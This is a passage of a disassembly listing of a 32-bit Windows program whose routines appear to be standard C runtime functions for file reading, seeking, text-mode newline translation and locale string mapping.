; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_433E7C, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------


loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------


loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------


loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4CECE0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------


loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_4362F0


loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h


loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4CEDE0
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4CECE0h[eax*4]
		mov	eax, dword_4CECE0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26510A0h
		test	eax, eax
		jnz	short loc_41E3E9
		call	near ptr 2670ADCh
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_4CD9B4, 9
		mov	dword_4CD9B8, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD


loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------


loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------


loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh


loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3


loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------


loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26510A0h
		nop
		test	eax, eax
		jnz	short loc_41E48A
		nop
		call	near ptr 2670ADCh
		test	eax, eax
		jnz	short loc_41E4D1


loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC


loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------


loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5


loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh


loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi


loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------


loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al


loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------


loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9


loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh


loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4CEDE0
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_4CD9B4, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 26F0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		nop
		call	near ptr 2670ADCh
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------


loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax


loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------


loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9


loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh


loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx


loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4CECE0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx


loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]


loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------


loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_4CD9B4, 16h


loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------


loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]


loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------


loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------


loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7


loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]


loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]


loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4CDA60, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_4CDA60, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------


loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_436EF4
		push	esi
		push	edi
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_41E897
		mov	dword_4CDA60, 2


loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_4CDA60
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2890000h
		jmp	loc_41E899
; ---------------------------------------------------------------------------


loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax


loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2650000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 28A0000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jnz	loc_41E926


loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax


loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------


loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27D0000h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897


loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4CEDE4
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_436010


loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_436100
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28A138Dh
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CEF00
		cmp	[ebp+var_18], 1
		mov	dword_4CEDE4, esi
		rep stosd
		stosb
		mov	dword_4CF004, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]


loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_4CEF01[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------


loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CEF00
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_436020[esi]


loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26


loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_436008[edx]


loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_4CEF01[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14


loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA


loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_4CEDFC, 1
		push	eax
		mov	dword_4CEDE4, eax
		call	sub_41EB10
		lea	esi, dword_436014[esi]
		mov	edi, offset dword_4CEDF0
		movsd
		movsd
		pop	ecx
		mov	dword_4CF004, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4


loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax


loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_4CEF01[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_4CF004, eax
		mov	dword_4CEDFC, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------


loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_4CEDFC, ebx


